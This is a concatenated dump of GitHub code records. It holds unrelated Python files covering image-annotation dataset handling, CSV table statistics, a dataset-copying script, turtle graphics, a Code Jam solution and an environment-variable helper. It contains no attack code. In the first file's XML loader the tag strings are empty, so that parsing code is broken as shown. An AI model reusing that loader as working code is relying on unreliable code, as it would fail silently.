{:.0f}\" \\\n \")\".format(self.n_annot_images)\n\n # **********************************\n # ***** Read only properties *****\n @property\n def n_annot_images(self):\n return len(self.ai_list)\n\n @property\n def n_channels(self):\n return self._n_channels\n\n @property\n def downsamplingfactor(self):\n \"\"\"Returns the (read-only) downsampling factor\"\"\"\n return self._downsample\n\n # ********************************************\n # ***** Handling the annotation typenr *****\n @property\n def class_labels(self):\n \"\"\"Returns the class labels that are set for training\"\"\"\n class_labels = [0,]\n class_labels.extend(list(self.include_annotation_typenrs))\n return class_labels\n\n @property\n def include_annotation_typenrs(self):\n \"\"\"Returns the annotation typenrs\"\"\"\n return self._include_annotation_typenrs\n\n @include_annotation_typenrs.setter\n def include_annotation_typenrs(self, annotation_typenrs):\n \"\"\"Updates the internal annotation typenr if not equal to last set nrs\n \"\"\"\n if isinstance(annotation_typenrs,int):\n annotation_typenrs = set([annotation_typenrs,])\n elif annotation_typenrs is None:\n pass\n else:\n annotation_typenrs = set(annotation_typenrs)\n\n if isinstance(annotation_typenrs,set):\n if 0 in annotation_typenrs:\n annotation_typenrs.remove(0)\n\n if annotation_typenrs != self._include_annotation_typenrs:\n new_annotation_type_nrs = set()\n for nr in range(self.n_annot_images):\n if self.ai_list[nr].include_annotation_typenrs != annotation_typenrs:\n self.ai_list[nr].include_annotation_typenrs = annotation_typenrs\n if annotation_typenrs is None:\n new_annotation_type_nrs.update(self.ai_list[nr].include_annotation_typenrs)\n if annotation_typenrs is not None:\n self._include_annotation_typenrs = annotation_typenrs\n else:\n self._include_annotation_typenrs = new_annotation_type_nrs\n\n\n # ********************************************\n # ***** Handling cropping of annot-ims *****\n def crop( self, left, top, width, height ):\n \"\"\"Crops the image channels, annotations and borders\n left: Left most pixel in cropped image (0 based)\n top: Top most pixel in cropped image (0 based)\n width: Width of cropped region\n height: Height of cropped region\n \"\"\"\n for nr in range(self.n_annot_images):\n self.ai_list[nr].crop(left, top, width, height )\n\n # *******************************************\n # ***** Handling the annotated bodies *****\n @property\n def body_dilation_factor(self):\n \"\"\"Returns the body dilation factor\"\"\"\n return(self._body_dilation_factor)\n\n @body_dilation_factor.setter\n def body_dilation_factor(self, dilation_factor):\n \"\"\"Updates the internal body annotation mask with dilation_factor\"\"\"\n if dilation_factor != self._body_dilation_factor:\n for nr in range(self.n_annot_images):\n self.ai_list[nr].body_dilation_factor = dilation_factor\n self._body_dilation_factor = dilation_factor\n\n # *******************************************\n # ***** Handling the annotated outlines *****\n @property\n def outline_thickness(self):\n \"\"\"Returns the outline thickness\"\"\"\n return(self._outline_thickness)\n\n @outline_thickness.setter\n def outline_thickness(self, thickness):\n \"\"\"Updates the internal outline annotation mask with outline_thickness\"\"\"\n if thickness != self._outline_thickness:\n for nr in range(self.n_annot_images):\n self.ai_list[nr].outline_thickness = thickness\n self._outline_thickness = thickness\n\n # **********************************************\n # ***** Handling the annotated centroids *****\n @property\n def centroid_dilation_factor(self):\n \"\"\"Returns the centroid dilation factor\"\"\"\n return(self._centroid_dilation_factor)\n\n @centroid_dilation_factor.setter\n def centroid_dilation_factor(self, dilation_factor):\n \"\"\"Updates the internal centroid annotation mask with dilation_factor\"\"\"\n if dilation_factor != self._centroid_dilation_factor:\n for nr in range(self.n_annot_images):\n self.ai_list[nr].centroid_dilation_factor = dilation_factor\n self._centroid_dilation_factor = dilation_factor\n\n # ********************************************\n # ***** Produce training/test data set *****\n def data_sample(self, zoom_size, annotation_type='Bodies', m_samples=100,\n return_size=None, return_annotations=False,\n sample_ratio=None, annotation_border_ratio=None,\n normalize_samples=False, segment_all=False,\n morph_annotations=False, rotation_list=None,\n scale_list_x=None, scale_list_y=None, noise_level_list=None ):\n \"\"\"Constructs a random sample of with linearized annotation data,\n organized in a 2d matrix (m samples x n pixels) half of which is\n from within an annotation, and half from outside. It takes equal\n amounts of data from each annotated image in the list.\n zoom_size: 2 dimensional size of the image (y,x)\n annotation_type: 'Bodies' or 'Centroids'\n m_samples: number of training samples\n return_size: Determines size of annotations that are returned\n If None, it defaults to zoom_size\n return_annotations: Returns annotations in addition to\n samples and labels. If False, returns empty\n list. Otherwise set to 'Bodies' or 'Centroids'\n sample_ratio: List with ratio of samples per groups (sum=1)\n annotation_border_ratio: Fraction of samples drawn from 2px border\n betweem positive and negative samples\n normalize_samples: Scale each individual channel to its maximum\n segment_all: Segments all instead of single annotations (T/F)\n morph_annotations: Randomly morph the annotations\n rotation_list: List of rotation values to choose from in degrees\n scale_list_x: List of horizontal scale factors to choose from\n scale_list_y: List of vertical scale factors to choose from\n noise_level_list: List of noise levels to choose from\n Returns tuple with samples as 2d numpy matrix, labels as\n 2d numpy matrix and if requested annotations as 2d numpy matrix\n or otherwise an empty list as third item\"\"\"\n\n # Set return_size\n if return_size is None:\n return_size = zoom_size\n\n # Get number of classes\n n_classes = len(self.class_labels)\n\n # Calculate number of pixels in linearized image\n n_pix_lin = self.ai_list[0].n_channels * zoom_size[0] * zoom_size[1]\n\n # List with start and end sample per AnnotatedImage\n m_set_samples_list = np.round( np.linspace( 0, m_samples,\n self.n_annot_images+1 ) )\n\n # Predefine output matrices\n samples = np.zeros( (m_samples, n_pix_lin) )\n if return_annotations is not False:\n annotations = np.zeros( (m_samples, return_size[0]*return_size[1]) )\n else:\n annotations = []\n labels = np.zeros( (m_samples, n_classes) )\n\n # Loop AnnotatedImages\n for s in range(self.n_annot_images):\n\n # Number of samples for this AnnotatedImage\n m_set_samples = int(m_set_samples_list[s+1]-m_set_samples_list[s])\n\n # Get samples, labels, annotations\n s_samples,s_labels,s_annotations = \\\n self.ai_list[s].get_batch(\n zoom_size, annotation_type=annotation_type,\n m_samples=m_set_samples,\n return_size=return_size, return_annotations=return_annotations,\n sample_ratio=sample_ratio,\n annotation_border_ratio=annotation_border_ratio,\n normalize_samples=normalize_samples, segment_all=segment_all,\n morph_annotations=morph_annotations,\n rotation_list=rotation_list, scale_list_x=scale_list_x,\n scale_list_y=scale_list_y, noise_level_list=noise_level_list )\n\n # put samples, labels and possibly annotations in\n samples[int(m_set_samples_list[s]):int(m_set_samples_list[s+1]),:] \\\n = s_samples\n labels[int(m_set_samples_list[s]):int(m_set_samples_list[s+1]),:] \\\n = s_labels\n if return_annotations is not False:\n annotations[int(m_set_samples_list[s]):int(m_set_samples_list[s+1]),:] \\\n = s_annotations\n return samples,labels,annotations\n\n # **************************************\n # ***** Load data from directory *****\n def load_data_dir_tiff_mat(self, data_directory,\n normalize=True, use_channels=None, exclude_border=None):\n \"\"\"Loads all Tiff images or *channel.mat and accompanying ROI.mat\n files from a single directory that contains matching sets of .tiff\n or *channel.mat and .mat files\n data_directory: path\n normalize: Normalize to maximum of image\n use_channels: tuple holding channel numbers/order to load (None=all)\n exclude_border: Load border exclude region from file\n \"\"\"\n # Get list of all .tiff file and .mat files\n image_files = sorted(glob.glob(path.join(data_directory,'*channels.mat')))\n if len(image_files) == 0:\n image_files = sorted(glob.glob(path.join(data_directory,'*.tiff')))\n mat_files = sorted(glob.glob(path.join(data_directory,'*ROI*.mat')))\n\n # Exclude border files\n if isinstance(exclude_border,str):\n if exclude_border.lower() == 'load':\n brdr_files = glob.glob(path.join(data_directory,'*Border*.mat'))\n\n # Loop files and load images and annotations\n print(\"\\nLoading image and annotation files:\")\n annotation_type_nrs = set()\n for f, (image_file, mat_file) in enumerate(zip(image_files,mat_files)):\n image_filepath, image_filename = path.split(image_file)\n mat_filepath, mat_filename = path.split(mat_file)\n print(\"{:2.0f}) {} -- {}\".format(f+1,image_filename,mat_filename))\n\n # Create new AnnotatedImage, add images and annotations\n anim = AnnotatedImage(downsample=self.downsamplingfactor)\n if self.include_annotation_typenrs is not None:\n anim.include_annotation_typenrs = self.include_annotation_typenrs\n anim.add_image_from_file( image_filename, image_filepath,\n normalize=normalize, use_channels=use_channels )\n anim.import_annotations_from_mat( mat_filename, mat_filepath )\n\n if isinstance(exclude_border,str):\n if exclude_border.lower() == 'load':\n anim.exclude_border = brdr_files[f]\n if isinstance(exclude_border,list) \\\n or isinstance(exclude_border,tuple):\n anim.exclude_border = exclude_border\n\n # Check if the number of channels is the same\n if len(self.ai_list) == 0:\n self._n_channels = anim.n_channels\n else:\n if self._n_channels != anim.n_channels:\n print(\"!!! CRITICAL WARNING !!!\")\n print(\"-- Number of channels is not equal for all annotated images --\")\n\n # Append AnnotatedImage to the internal list\n print(\" - \"+anim.__str__())\n self.ai_list.append(anim)\n annotation_type_nrs.update(anim.include_annotation_typenrs)\n if self.include_annotation_typenrs is None:\n self.include_annotation_typenrs = annotation_type_nrs\n\n\n # **************************************\n # ***** Load data from directory *****\n def load_data_dir_multipagetiff_xml(self, data_directory,\n normalize=True, use_channels=None, exclude_border=None):\n \"\"\"Loads all Tiff images or *channel.mat and accompanying XML\n files from a single directory that contains matching sets of .tiff\n or *channel.mat and .mat files\n data_directory: path\n normalize: Normalize to maximum of image\n use_channels: tuple holding channel numbers/order to load (None=all)\n exclude_border: Load border exclude region from file\n \"\"\"\n # Get list of all .tiff file and .mat files\n image_files = sorted(glob.glob(path.join(data_directory,'*.tif')))\n xml_files = sorted(glob.glob(path.join(data_directory,'*.xml')))\n\n # Loop files and load images and annotations\n print(\"\\nLoading image and annotation files:\")\n annotation_type_nrs = set()\n for f, (image_file, xml_file) in enumerate(zip(image_files,xml_files)):\n image_filepath, image_filename = path.split(image_file)\n xml_filepath, xml_filename = path.split(xml_file)\n print(\"{:2.0f}) {} -- {}\".format(f+1,image_filename,xml_filename))\n\n # Load the XML\n markers = []\n z_list = []\n with open(os.path.join(xml_filepath,xml_filename)) as f:\n for line in f:\n if \"\" in line:\n start_ix = line.find(\"\") + len(\"\")\n stop_ix = line.find(\"\")\n marker_name = line[start_ix:stop_ix]\n if \"\" in line:\n start_ix = line.find(\"\") + len(\"\")\n stop_ix = line.find(\"\")\n marker_type = int(line[start_ix:stop_ix])\n if \"\" in line:\n start_ix = line.find(\"\") + len(\"\")\n stop_ix = line.find(\"\")\n marker_x = int(line[start_ix:stop_ix])\n if \"\" in line:\n start_ix = line.find(\"\") + len(\"\")\n stop_ix = line.find(\"\")\n marker_y = int(line[start_ix:stop_ix])\n if \"\" in line:\n start_ix = line.find(\"\") + len(\"\")\n stop_ix = line.find(\"\")\n marker_z = int(line[start_ix:stop_ix])\n z_list.append(marker_z)\n markers.append([marker_x,marker_y,marker_z])\n\n # find z-increment\n unique_z = np.unique(np.array(z_list))\n steps_z = np.diff(unique_z)\n z_incr = np.min(steps_z)\n\n # recalc z-values\n for m in markers:\n m[2] = np.floor(m[2]/z_incr)\n\n # Get number of tiff-pages\n imch = np.float64(imread(path.join(image_filepath,image_filename), plugin=\"tifffile\"))\n n_pages = imch.shape[0]\n\n # Loop tiff pages\n for z_level in range(n_pages):\n print(\" - Adding tiffpage {}\".format(z_level))\n\n # Find annotations for this tiff plane\n use_markers = []\n for m in markers:\n if m[2] == z_level:\n use_markers.append(m)\n if len(use_markers) == 0:\n continue\n\n # Create new AnnotatedImage, add images and annotations\n anim = AnnotatedImage(downsample=self.downsamplingfactor)\n if self.include_annotation_typenrs is not None:\n anim.include_annotation_typenrs = self.include_annotation_typenrs\n\n # Load single tiff page\n anim.add_image_from_file( file_name=image_filename, file_path=image_filepath, normalize=normalize, use_channels=use_channels, tiff_page=z_level)\n\n # Set annotations\n anim.set_annotations_from_coordinates( use_markers )\n\n # Check if the number of channels is the same\n if len(self.ai_list) == 0:\n self._n_channels = anim.n_channels\n else:\n if self._n_channels != anim.n_channels:\n print(\"!!! CRITICAL WARNING !!!\")\n print(\"-- Number of channels is not equal for all annotated images --\")\n\n # Append AnnotatedImage to the internal list\n print(\" - \"+anim.__str__())\n self.ai_list.append(anim)\n annotation_type_nrs.update(anim.include_annotation_typenrs)\n\n if self.include_annotation_typenrs is None:\n self.include_annotation_typenrs = annotation_type_nrs\n","repo_name":"pgoltstein/NeuralNetImageAnnotation","sub_path":"ImageAnnotation.py","file_name":"ImageAnnotation.py","file_ext":"py","file_size_in_byte":96028,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34742411454","text":"import csv, Num, Sym, math, prettytable, re\n\nclass TableLoader:\n def __init__(self, csvfile):\n self.nums = []\n self.syms = []\n self.isClass = {}\n self.goals = {}\n self.status = {}\n self.csvfile = csvfile\n\n self.line_count = 1\n self.toBeIgnored = []\n self.toBeParsedToInt = []\n self.independents=[]\n self.dependents = []\n self.symbolicIndependents = []\n self.minimizetionGoal = []\n self.maximizationGoal = []\n self.titles = []\n\n self.listOfDataAsDictionary = []\n\n def processLine(self, row):\n pattern = re.compile(\"^[A-Za-z0-9]+$\")\n dictionary = {}\n for index in range(0, len(row)):\n item = row[index].strip()\n item = item.replace('\\n', '')\n if self.line_count == 1:\n self.titles.append(item)\n if '?' in item:\n self.toBeIgnored.append(index)\n else:\n if '$' in item:\n self.toBeParsedToInt.append(index)\n self.independents.append(index)\n self.status[item] = \"independent\"\n if '>' in item:\n self.toBeParsedToInt.append(index)\n self.maximizationGoal.append(index)\n self.dependents.append(index)\n self.goals[item] = 'max'\n self.status[item] = \"dependent\"\n if '<' in item:\n self.toBeParsedToInt.append(index)\n self.minimizetionGoal.append(index)\n self.dependents.append(index)\n self.goals[item] = 'min'\n self.status[item] = \"dependent\"\n if '!' in item:\n self.isClass[item] = True\n self.symbolicIndependents.append(index)\n if '%' in item:\n self.symbolicIndependents.append(index)\n if pattern.match(item):\n self.symbolicIndependents.append(index)\n if index not in self.toBeIgnored:\n if self.line_count == 1:\n if index not in self.toBeParsedToInt:\n self.syms.append(Sym.Sym(item, index))\n if index in self.toBeParsedToInt:\n self.nums.append(Num.Num(item, index))\n else:\n if index not in self.toBeParsedToInt:\n sym = next((x for x in self.syms if x.title == self.titles[index]), None)\n dictionary[self.titles[index]] = item\n if '?' not in item:\n sym.increment(item)\n if index in self.toBeParsedToInt:\n num = next((x for x in self.nums if x.title == self.titles[index]), None)\n if '?' not in item:\n num.increment(float(item))\n dictionary[self.titles[index]] = float(item)\n else:\n dictionary[self.titles[index]] = item\n return dictionary\n\n def showStatistics(self):\n pt1 = prettytable.PrettyTable()\n pt2 = prettytable.PrettyTable()\n\n pt1.field_names = ['Column Id', 'title', 'total', 'mode', 'frequency']\n for item in self.syms:\n pt1.add_row([item.columnIndex, item.title, item.total, item.mode, item.most])\n\n pt2.field_names = ['Column Id', 'title', 'total', 'mean', 'std. dev.']\n for item in self.nums:\n pt2.add_row([item.columnIndex, item.title, item.count, item.mean, item.sd])\n\n print(pt1)\n print(pt2)\n\n\n def setMeta(self):\n for key in self.goals:\n # print(f'{key} -> {self.goals[key]}')\n num = next((x for x in self.nums if x.title == key), None)\n if num is not None: num.goal = self.goals[key]\n for key in self.isClass:\n # print(f'{key} -> {self.isClass[key]}')\n sym = next((x for x in self.syms if x.title == key), None)\n if sym is not None: sym.isClass = self.isClass[key]\n for key in self.status:\n # print(f'{key} -> {self.status[key]}')\n num = next((x for x in self.nums if x.title == key), None)\n if num is not None: num.status = self.status[key]\n sym = next((x for x in self.syms if x.title == key), None)\n if sym is not None: sym.status = self.status[key]\n\n def openFile(self, csvfile):\n with open(csvfile) as file:\n line = file.readline()\n while line:\n row = line.split(\",\")\n self.processLine(row)\n self.line_count += 1\n line = file.readline()\n self.setMeta()\n # self.showStatistics()\n\n def csvRowsGenerator(self):\n with open(self.csvfile) as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n for row in csv_reader:\n yield row\n\n def readRowsLineByLine(self):\n for row in self.csvRowsGenerator():\n dictionary = self.processLine(row)\n if len(dictionary) > 0: self.listOfDataAsDictionary.append(dictionary)\n self.line_count += 1\n\n def loadTableWithGenerator(self):\n self.csvRowsGenerator()\n self.readRowsLineByLine()\n self.setMeta()\n # self.showStatistics()\n\n def loadTableWithStandardInput(self):\n self.openFile(self.csvfile)\n\n","repo_name":"rayhanur-rahman/VFDT-Defect-Prediction","sub_path":"W4/Rows.py","file_name":"Rows.py","file_ext":"py","file_size_in_byte":5658,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25948580874","text":"import time\nimport webbrowser\n \ndef music_break_time():\n \n # initialize the count at 0\n count = 0\n \n # loop 4 times\n while count < 4:\n \n # Wait for 10 seconds (time delay or working time)\n time.sleep(10)\n \n # open the music link in a web browser\n webbrowser.open(\"https://www.youtube.com/watch?v=DXDGE_lRI0E\")\n \n #incrementation of count by 1\n count += 1\n \n \n# calling music_break_time function\nmusic_break_time()","repo_name":"patricksile/code_folder","sub_path":"music_break.py","file_name":"music_break.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11516289707","text":"import os\nimport shutil\n\n# Path to the directory where the original dataset was uncompressed\nbase_dir = os.path.join('UserApp', 'model')\noriginal_dataset_dir = os.path.join(base_dir, 'dogs-vs-cats')\n\n# Directory where you’ll store your smaller dataset\nbase_dir = os.path.join(base_dir, 'cats_and_dogs_small')\n# os.mkdir(base_dir)\n\ntrain_dir = os.path.join(base_dir, 'train') # Original Train directory\n# os.mkdir(train_dir)\n\n# Original Validation directory\nvalidation_dir = os.path.join(base_dir, 'validation')\n# os.mkdir(validation_dir)\n\ntest_dir = os.path.join(base_dir, 'test') # Original test directory\n# os.mkdir(test_dir)\n\ntrain_cats_dir = os.path.join(train_dir, 'cats') # Path for training cats\n# os.mkdir(train_cats_dir)\n\ntrain_dogs_dir = os.path.join(train_dir, 'dogs') # path for training dogs\n# os.mkdir(train_dogs_dir)\n\n# Path for validation training cats\nvalidation_cats_dir = os.path.join(validation_dir, 'cats')\n# os.mkdir(validation_cats_dir)\n\n# Path for validation training dogs\nvalidation_dogs_dir = os.path.join(validation_dir, 'dogs')\n# os.mkdir(validation_dogs_dir)\n\ntest_cats_dir = os.path.join(test_dir, 'cats') # Path for test training cats\n# os.mkdir(test_cats_dir)\n\ntest_dogs_dir = os.path.join(test_dir, 'dogs') # Path for test training dogs\n# os.mkdir(test_dogs_dir)\n\n\n# '''Copy the first 1000 cats image for training'''\nfnames = ['cat.{}.jpg'.format(i) for i in range(1000)]\nfor fname in fnames:\n src = os.path.join(original_dataset_dir, 'train')\n src = os.path.join(src, fname)\n dst = os.path.join(train_cats_dir, fname)\n shutil.copyfile(src, dst)\n\n# '''Copies the next 500 cat images to validation_cats_dir'''\nfnames = [f'cat.{i}.jpg' for i in range(1000, 1500)]\nfor fname in fnames:\n src = os.path.join(original_dataset_dir, 'train')\n src = os.path.join(src, fname)\n dst = os.path.join(validation_cats_dir, fname)\n shutil.copyfile(src, dst)\n\n# '''Copies the next 500 cat images to test_cats_dir'''\nfnames = ['cat.{}.jpg'.format(i) for i in range(1500, 2000)]\nfor fname in fnames:\n src = os.path.join(original_dataset_dir, 'train')\n src = os.path.join(src, fname)\n dst = os.path.join(test_cats_dir, fname)\n shutil.copyfile(src, dst)\n\n# '''Copies the first 1,000 dog images to train_dogs_dir'''\nfnames = ['dog.{}.jpg'.format(i) for i in range(1000)]\nfor fname in fnames:\n src = os.path.join(original_dataset_dir, 'train')\n src = os.path.join(src, fname)\n dst = os.path.join(train_dogs_dir, fname)\n shutil.copyfile(src, dst)\n\n# '''Copies the next 500 dog images to validation_dogs_dir'''\nfnames = ['dog.{}.jpg'.format(i) for i in range(1000, 1500)]\nfor fname in fnames:\n src = os.path.join(original_dataset_dir, 'train')\n src = os.path.join(src, fname)\n dst = os.path.join(validation_dogs_dir, fname)\n shutil.copyfile(src, dst)\n\n# '''Copies the next 500 dog images to test_dogs_dir'''\nfnames = ['dog.{}.jpg'.format(i) for i in range(1500, 2000)]\nfor fname in fnames:\n src = os.path.join(original_dataset_dir, 'train')\n src = os.path.join(src, fname)\n dst = os.path.join(test_dogs_dir, fname)\n shutil.copyfile(src, dst)\n\n\n# test the above code\nprint('total training cat images:', len(os.listdir(train_cats_dir)))\nprint('total training dog images:', len(os.listdir(train_dogs_dir)))\nprint('total validation cat images:', len(os.listdir(validation_cats_dir)))\nprint('total validation dog images:', len(os.listdir(validation_dogs_dir)))\nprint('total test cat images:', len(os.listdir(test_cats_dir)))\nprint('total test dog images:', len(os.listdir(test_dogs_dir)))\n","repo_name":"GhaziRiyadh/AI","sub_path":"UserApp/model/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":3571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27224824537","text":"import turtle\n\n# Set up the turtle screen\nscreen = turtle.Screen()\nscreen.bgcolor(\"black\")\nscreen.title(\"Complex Turtle Art\")\nscreen.setup(800, 800)\n\n# Create a turtle instance\npen = turtle.Turtle()\npen.speed(0) # Set the speed to the fastest\n\n# Define the colors\ncolors = [\"red\", \"orange\", \"yellow\", \"green\", \"blue\", \"purple\"]\n\n# Function to draw a complex shape\n\n\ndef draw_complex_shape(size, sides):\n angle = 360 / sides\n for _ in range(sides):\n pen.forward(size)\n pen.right(angle)\n\n\n# Draw the complex turtle art\nfor i in range(200):\n pen.color(colors[i % len(colors)]) # Switch colors\n draw_complex_shape(i, 6) # Change the number of sides for each iteration\n pen.right(91) # Rotate the turtle\n\n# Hide the turtle\npen.hideturtle()\n\n# Exit on click\nturtle.done()\n","repo_name":"chimpastic/turtle","sub_path":"flower_art-22-05-2023.py","file_name":"flower_art-22-05-2023.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8402722252","text":"mylist = []\nmylist.append(1)\nmylist.append(2)\nmylist.append(3)\nmylist.append(4)\nprint(mylist[2])\nprint(mylist[3])\nprint(mylist[0])\n\nfor x in mylist:\n\tprint(x)\n\nnumbers = []\nstrings = []\nnames = [\"Jon\", \"Eric\", \"Jess\"]\n\nnumbers.append(1)\nnumbers.append(2)\nnumbers.append(3)\nstrings.append(\"Hello\")\nstrings.append(\"World\")\n\n\nsecond_name = names[2]\n\nprint(numbers)\nprint(strings)\nprint(\"The second name on the names list is %s\" %second_name)\n","repo_name":"MukeshThamilvanan/MTPythonPractices","sub_path":"Lists.py","file_name":"Lists.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23584627761","text":"import matplotlib.pyplot as plt\r\nimport networkx as nx\r\n\r\nwith open(\"C-small-attempt0.in\", \"r\") as inp:\r\n with open(\"C-small-attempt0.out\", \"w\") as outp:\r\n cases = int(inp.readline())\r\n for i in range(cases):\r\n cities, stops = [int(x) for x in inp.readline().split()]\r\n horse_dist = []\r\n horse_speed = []\r\n dist_next = []\r\n for j in range(cities):\r\n dist, speed = [int(x) for x in inp.readline().split()]\r\n horse_dist.append(dist)\r\n horse_speed.append(speed)\r\n for j in range(cities):\r\n dest_graph = inp.readline().split()\r\n if j < cities-1:\r\n dist_next.append(int(dest_graph[j+1]))\r\n origin, dest = [int(x) for x in inp.readline().split()]\r\n\r\n horse_max_city = []\r\n for j in range(len(horse_dist)-1):\r\n k = j\r\n curr_dist = horse_dist[j]\r\n while k < cities-1 and curr_dist >= dist_next[k]:\r\n curr_dist -= dist_next[k]\r\n k += 1\r\n horse_max_city.append(k)\r\n\r\n city_map = nx.Graph()\r\n for j in range(len(horse_max_city)):\r\n acc_time = 0\r\n for k in range(j, horse_max_city[j]):\r\n acc_time += dist_next[k] / horse_speed[j]\r\n city_map.add_edge(j, k+1, distance=acc_time)\r\n shortest_dist = nx.dijkstra_path_length(city_map, 0, cities-1, 'distance')\r\n outp.write(\"Case #\" + str(i+1) + \": \" + str(shortest_dist) + \"\\n\")\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_208/215.py","file_name":"215.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34407597911","text":"import json\nfrom unicodedata import category\nimport matplotlib.pyplot as plt\n\nx = open('Desktop/CSCI40/dataset3.json')\ndataset3=json.load(x)\n\ncategy = {\"Industrial\":0, \"Land Use\":0,\"Livestock\":0,\"Electric Power\":0}\n\nfor i in dataset3['data']:\n for key in categy:\n if key==i[14]:\n categy[key] +=1\n\n\nprint(categy)\n\n\n\n# Data for plotting\nx = categy.keys()\ny = categy.values()\n\nfig, ax = plt.subplots()\nax.plot(x, y)\n\nax.set(xlabel='category of industires', ylabel='number of industry counted in the survey',\n title='counting the number of industry analyzed in the document')\nax.grid()\n\nfig.savefig(\"test.png\")\nplt.show()","repo_name":"Raymond6688/Raymondproject2","sub_path":"project 2 plot2.py","file_name":"project 2 plot2.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34819377798","text":"import os\nimport sys\nimport logging\n\n\nclass Environment:\n\n \"\"\"\n Class to changes the environment temporarily.\n \"\"\"\n\n def __init__(self, orig=os.environ, keep_same=False):\n \"\"\"\n Create a temporary environment on top of the one specified\n (it can be another TemporaryEnvironment instance).\n \"\"\"\n # print \"New environment\"\n self.old_values = {}\n self.env = orig\n self._keep_same = keep_same\n\n # the keys of the environment dictionary are case insensitive on\n # windows\n if sys.platform.startswith(\"win\"):\n self._fixKey = lambda key: key.upper()\n else:\n self._fixKey = lambda key: key\n\n def __setitem__(self, key, value):\n \"\"\"\n Set an environment variable recording the previous value.\n \"\"\"\n key = self._fixKey(key)\n if key not in self.old_values:\n if key in self.env:\n if not self._keep_same or self.env[key] != value:\n self.old_values[key] = self.env[key]\n else:\n self.old_values[key] = None\n self.env[key] = value\n\n def __getitem__(self, key):\n \"\"\"\n Get an environment variable.\n Needed to provide the same interface as os.environ.\n \"\"\"\n key = self._fixKey(key)\n return self.env[key]\n\n def __delitem__(self, key):\n \"\"\"\n Unset an environment variable.\n Needed to provide the same interface as os.environ.\n \"\"\"\n key = self._fixKey(key)\n if key not in self.env:\n raise KeyError(key)\n self.old_values[key] = self.env[key]\n del self.env[key]\n log = logging.getLogger()\n log.info(\"removed %s from environment\" % key)\n\n def keys(self):\n \"\"\"\n Return the list of defined environment variables.\n Needed to provide the same interface as os.environ.\n \"\"\"\n return self.env.keys()\n\n def items(self):\n \"\"\"\n Return the list of (name,value) pairs for the defined environment variables.\n Needed to provide the same interface as os.environ.\n \"\"\"\n return self.env.items()\n\n def __contains__(self, key):\n \"\"\"\n Operator 'in'.\n Needed to provide the same interface as os.environ.\n \"\"\"\n key = self._fixKey(key)\n return key in self.env\n\n def restore(self):\n \"\"\"\n Revert all the changes done to the original environment.\n \"\"\"\n for key, value in self.old_values.items():\n if value is None:\n del self.env[key]\n else:\n self.env[key] = value\n self.old_values = {}\n\n def __del__(self):\n \"\"\"\n Revert the changes on destruction.\n \"\"\"\n self.restore()\n\n def get(self, key, default=None):\n \"\"\"\n Implementation of the standard get method of a dictionary: return the\n value associated to \"key\" if present, otherwise return the default.\n \"\"\"\n key = self._fixKey(key)\n return self.env.get(key, default)\n\n def commit(self):\n \"\"\"\n Forget the old values for the changes done so far (avoids that the\n changes are rolled-back when the instance goes out of scope).\n \"\"\"\n self.old_values = {}\n\n def gen_script(self, shell_type):\n \"\"\"\n Generate a shell script to reproduce the changes in the environment.\n \"\"\"\n shells = ['csh', 'sh', 'bat']\n if shell_type not in shells:\n raise RuntimeError(\n \"Shell type '%s' unknown. Available: %s\" % (shell_type, shells))\n out = \"\"\n for key in self.old_values:\n if key not in self.env:\n # unset variable\n if shell_type == 'csh':\n out += 'unsetenv %s\\n' % key\n elif shell_type == 'sh':\n out += 'unset %s\\n' % key\n elif shell_type == 'bat':\n out += 'set %s=\\n' % key\n else:\n # set variable\n if shell_type == 'csh':\n out += 'setenv %s \"%s\"\\n' % (key, self.env[key].replace('\"', '\\\\\"'))\n elif shell_type == 'sh':\n out += 'export %s=\"%s\"\\n' % (key, self.env[key].replace('\"', '\\\\\"'))\n elif shell_type == 'bat':\n out += 'set %s=%s\\n' % (key, self.env[key])\n return out\n\n\nclass Aliases(Environment):\n\n def __init__(self, keep_same=False):\n Environment.__init__(self, orig=dict(), keep_same=keep_same)\n self._fixKey = lambda key: key\n\n def gen_script(self, shell_type):\n \"\"\"\n Generate a shell script to reproduce the changes in the aliases.\n \"\"\"\n shells = ['csh', 'sh', 'bat']\n if shell_type not in shells:\n raise RuntimeError(\n \"Shell type '%s' unknown. Available: %s\" % (shell_type, shells))\n out = \"\"\n for key in self.old_values:\n if key not in self.env:\n # unset variable\n if shell_type == 'csh':\n out += 'unalias %s\\n' % key\n elif shell_type == 'sh':\n out += 'unalias %s\\n' % key\n else:\n # set variable\n if shell_type == 'csh':\n out += 'alias %s \"%s\"\\n' % (key, self.env[key])\n elif shell_type == 'sh':\n out += 'alias %s=\"%s\"\\n' % (key, self.env[key])\n return out\n\n_globalenv = Environment()\n\n\ndef getDefaultEnv():\n \"\"\" return global instance of the environment \"\"\"\n return _globalenv\n\n\nclass EnvVarException(Exception):\n pass\n\n\ndef varArgSplit(vararg):\n vardict = dict()\n varlist = []\n pathsep = [x for x in \";\" if vararg.find(x) != -1]\n if len(pathsep) > 0:\n if len(pathsep) == 1:\n varlist.append(vararg.split(pathsep))\n else:\n raise EnvVarException(\"Mixing of path separator symbol\")\n else:\n varlist.append(vararg)\n for c in varlist:\n varsep = [x for x in \"=\" if c.find(x) != -1]\n if len(varsep) > 0:\n if len(varsep) == 1:\n varcontent = c.split(varsep)\n value = varcontent.pop()\n for v in varcontent:\n vardict[v] = value\n else:\n raise EnvVarException(\"Mixing of var separator symbol\")\n else:\n vardict[c] = None\n return 